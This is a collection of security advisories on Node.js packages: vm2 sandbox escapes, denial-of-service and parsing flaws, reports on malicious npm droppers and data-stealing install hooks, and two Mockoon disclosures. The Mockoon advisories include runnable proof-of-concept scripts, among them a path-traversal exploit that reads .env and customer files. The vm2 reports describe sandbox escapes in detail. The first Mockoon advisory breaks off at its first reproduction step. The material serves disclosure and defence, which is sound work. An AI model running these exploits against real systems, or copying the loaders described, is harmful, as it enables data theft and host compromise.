vm2 versions 3.11.3 through 3.11.6 expose Node.js's host node:sqlite module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: ['*']. The module is wrapped with vm.readonly(), which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with 'node:' as a core-module request and the runtime strips only one 'node:' prefix, so a sandbox request for 'node:node:sqlite' resolves to the configured node:sqlite entry. Sandboxed code can therefore create an in-memory DatabaseSync with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the untrusted plugin package (path derived from __dirname). SQLite loads the library into the Node.js host process and invokes its native entry point, giving the sandboxed plugin arbitrary native code execution outside the sandbox with the host process's privileges. The issue is fixed in vm2 3.11.7.
vm2 version 3.11.6 contains a critical sandbox escape vulnerability that allows untrusted code to execute arbitrary commands on the host Node.js process. The vulnerability arises from improper sanitization of rejected host Promise values when rejection handlers are registered via Function.prototype.call or .apply indirection. This flaw enables sandboxed code to obtain a proxy to host objects, leading to remote code execution. The issue is fixed in vm2 version 3.11.7.
vm2 versions 3.11.0 through 3.11.6 leak absolute host filesystem paths to sandboxed code through error stack formatting. Attacker-supplied code can force the host-realm source transformer to throw a SyntaxError (for example by calling eval with malformed source) and then read the error's .stack property; the bridge forwards the .stack read to the host-realm formatter, bypassing the sandbox-side host-path redaction introduced for GHSA-v27g-jcqj-v8rw. The returned stack string discloses absolute paths from vm2, Node.js internals, and the embedding application's own source tree, along with host function names. Default new VM() and new NodeVM() configurations are affected without any special options, and the issue persists when string eval is disabled because the host-side transformer throws before eval is handled. The impact is information disclosure only; no code execution results. Fixed in vm2 3.11.7.
vm2 is a sandbox for running untrusted Node.js code. In versions >= 3.11.4 and <= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === 'object' && requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array into undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. As a result, an attacker who can supply JavaScript executed by a NodeVM configured with truthy `nesting` and an array-shaped `require` (e.g. `new NodeVM({nesting: true, require: []})`) can require the host `vm2` module, create an inner NodeVM with an attacker-chosen builtin allowlist (such as `child_process`), and execute arbitrary commands with the privileges of the host Node.js process, escaping the sandbox. Outer builtin restrictions do not constrain the attacker-created inner NodeVM. This issue is fixed in vm2 3.11.7.
vm2 is a sandbox for running untrusted Node.js code. In versions <= 3.11.7, NodeVM exposes the host `util` module to the sandbox as an unfiltered shallow copy (`Object.assign({}, util)` in `defaultBuiltinLoaderUtil`), and the deprecated `sys` builtin (an alias of host `util`) is exposed through the generic builtin loader. On Node.js >= 22.9 this hands sandboxed code `util.getCallSites()`, a programmatic stack-introspection API that returns the host process's full call stack, including absolute file paths, function names, and line numbers for vm2 bridge internals and the embedding application's entrypoint. This bypasses the host-frame redaction introduced for GHSA-v27g-jcqj-v8rw, which only applies to the `Error.prepareStackTrace` formatting channel. The issue is fixed in vm2 3.11.8.
google-protobuf contains an unbounded recursion when parsing unknown protobuf group fields. An attacker can send a small crafted payload of deeply nested START_GROUP wire bytes to any Node.js service that calls the generated deserializeBinary() API, causing a RangeError: Maximum call stack size exceeded and crashing the process. No authentication or prior knowledge of the schema is required.
Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.
The npm package 'process-mite' (version 1.1.79) is part of a malicious campaign by the 'max233' account. Importing this package triggers a detached Node.js process that fetches and executes remote code from a mutable JSON endpoint on npoint.io. The executed payload has full Node.js capabilities and performs clipboard theft, input event logging, filesystem scanning, and Chrome extension storage theft. The package falsely advertises itself as a runtime utility but functions as a remote code execution dropper.
CVE-2026-76821 is a high-severity vulnerability in OpenCTI-Platform's opencti prior to version 7.260706.0. It involves uncontrolled resource consumption due to the JSON ingestion mapper's extractWithRegexp function compiling user-supplied regular expressions without complexity validation. An authenticated user with JSON mapper creation permission can supply a malicious regex causing catastrophic backtracking, blocking the Node.js event loop and making the GraphQL API unavailable. The issue affects availability but does not expose or modify data. The vulnerability is fixed in version 7.260706.0.
fast-uri, a Node.js RFC 3986 URI parser used by Fastify and ajv, has a vulnerability in versions 4.1.3 and 4.1.4 related to its mailto scheme parser. It incorrectly handles percent-encoded reserved query field names (to, subject, body), causing them to be misinterpreted during parsing but re-emitted literally upon serialization. This can allow an attacker to inject recipients or smuggle subject and body fields silently through an application that parses and then serializes mailto URIs. The issue is fixed in fast-uri version 4.1.5.
fast-uri, a dependency-free RFC 3986 URI parser for Node.js used by Fastify and ajv, has a vulnerability in versions before 2.4.7, from 3.0.0 through 3.1.7, and from 4.0.0 through 4.1.4. The parser incorrectly handles percent-encoded uppercase octets in the host component by folding the host to lowercase before decoding, causing inconsistencies in host normalization. This can allow bypass of case-sensitive host allowlist or denylist checks, potentially permitting unauthorized access. The issue is fixed in versions 2.4.7, 3.1.8, and 4.1.5 and later. Users should upgrade or apply a workaround by performing case-insensitive host comparisons.
The Node.js module proxy-addr versions 1.1.0 through 2.0.7 improperly handle IPv4-mapped IPv6 trust subnets with an IPv4-sized prefix, causing them to trust all IPv4 addresses instead of the intended subnet. This allows unauthenticated clients to spoof the X-Forwarded-For header and control the client IP address seen by the application, undermining IP-based access controls, rate limiting, geolocation, and audit logging. The issue was introduced in version 1.1.0 and fixed in version 2.0.8. Users should upgrade to 2.0.8 or later or apply a workaround by correctly specifying the prefix length or using plain IPv4 notation for trust subnets.
Static Code Injection in Plesk extensions "Ruby" before 1.6.6 and "Node.js Toolkit" before 2.5.0 allows remote authenticated users to execute arbitrary code as root via custom environment variables.
A flaw has been found in restify node-restify up to 12.0.0. This affects the function serveStatic in the library /lib/plugins/static.js. This manipulation causes path traversal. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (dd840e550f39e1f29f7a50b0cd121c3fa5e78e99954f22009f03b5ac775f91ec)
greensaver@1.2.3 declares a postinstall script ("node lib/greensaver.js") that runs automatically on `npm install`. The script decodes two files masquerading as TypeScript sourcemaps (lib/parse.ts.map and lib/init.ts.map) from base64 into sibling JavaScript files (lib/parsetmp.js and lib/config.js), requires the loader, and then unlinks all four files to erase evidence. The loader fetches an AES-CBC-encrypted blob from https://www.jsonkeeper.com/b/V6NBX (an anonymous JSON paste host), decrypts it with the hardcoded password 'myPassword123', and passes the resulting plaintext directly to eval(). The endpoint URL and auth header values are additionally base64-wrapped for a second obfuscation layer. The remainder of the package (scan.js, parse.js, constants.js, utils.js, and the exported makeRe/scan/parse API) is a rename of the picomatch glob-matcher library, providing a cover story for the dropper. The package name and 'Blazing fast and accurate glob matcher' description resemble picomatch.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4)
The package's preinstall hook runs `node index.js`, which collects host identifiers (os.hostname, os.userInfo, homedir, DNS servers, cwd) along with the contents of /etc/passwd and /etc/hosts, and POSTs the payload over HTTPS to the Burp Collaborator subdomain c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com. The package has empty description/author metadata and no legitimate functionality beyond this beacon. The exfiltration fires automatically on `npm install` before any consumer code runs.
## Summary
Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits).
Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can:
- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).
- **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.
- **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.
- Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
- Read/write global template vars; purge state / data buckets / logs.
Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.
---
## Details
### Root cause
`packages/commons-server/src/libs/server/server.ts:127`:
```ts
private options: ServerOptions = {
...,
enableAdminApi: true, // ← default on
};
```
`packages/cli/src/commands/start.ts:200`:
```ts
enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed
```
`packages/serverless/src/libs/serverless.ts:21`:
```ts
enableAdminApi: true, // ← default on, no flag to disable in the constructor
```
`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):
```ts
app.use(`${adminApiPrefix}*`, (req, res, next) => {
res.setHeaders(
new Headers({
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods':
'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
'Access-Control-Allow-Headers':
'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
})
);
next();
});
```
`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):
```ts
const setEnvVarHandler = (req, res) => {
try {
const { key, value } = req.body;
if (key !== undefined && value !== undefined) {
process.env[key] = value; // ← any process env, any value
res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
} else {
throw new Error('Key or value missing from request');
}
} catch (_error) {
res.status(400).send({ message: 'Invalid request' });
}
};
```
`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite):
```ts
app.put(`${adminApiPrefix}/environment`, (req, res) => {
try {
const environment: Environment = EnvironmentSchema.validate(req.body).value;
if (!environment) {
res.status(400).send({ message: 'Invalid environment format' });
return;
}
updateEnvironment(environment); // ← runtime mutation of every route response
res.send({ message: 'Environment updated' });
} catch (_error) {
res.status(400).send({ message: 'Invalid environment format' });
}
});
```
Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`.
---
## PoC
### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)
`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with:
```
MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file
```
Bind confirmed via `lsof`:
```
COMMAND PID USER FD TYPE ... NAME
node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces
```
Baseline mock response:
```
$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
```
#### 1) Read operator secret unauth
## Summary
A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
## Details
`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:
```ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
```
With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.
`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).
## PoC
```sh
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
```
Output:
```text
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741
```
`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (cccb2aed2f968e146b433d2a2600f17104f0dcacfd951190771f8e59aee3a252)
tailwind-form-kit@0.6.4 impersonates @tailwindcss/forms (package.json sets repository to https://github.com/tailwindlabs/tailwindcss-forms) but src/index.js is a heavily obfuscated single-line loader (obfuscator.io string-array shape, all identifiers _0xNNNN). On require() — as would happen when the package is referenced from tailwind.config — the loader opens HTTP/HTTPS to Ethereum public RPCs (publicnode, drpc.org/eth, blockscout) and an Etherscan-like indexer at *stapi.io, queries a hardcoded sender address 0xa322E5f39aDC2490EfD311D3080e6f0121063e1a via eth_blockNumber / eth_getBlockByNumber / eth_getTransactionCount, extracts a base64/gzip/deflate/br-encoded payload from an x-payload-B64 header or transaction data, and invokes child_process.spawn('node',...) on the retrieved bytes. This is the EtherHiding fetch-and-exec pattern: the on-chain address acts as a mutable C2 pointer, and any developer or build machine that requires this package runs whatever code the attacker currently points it at. A CSS forms plugin has no legitimate reason to talk to Ethereum RPCs or spawn node on fetched bytes.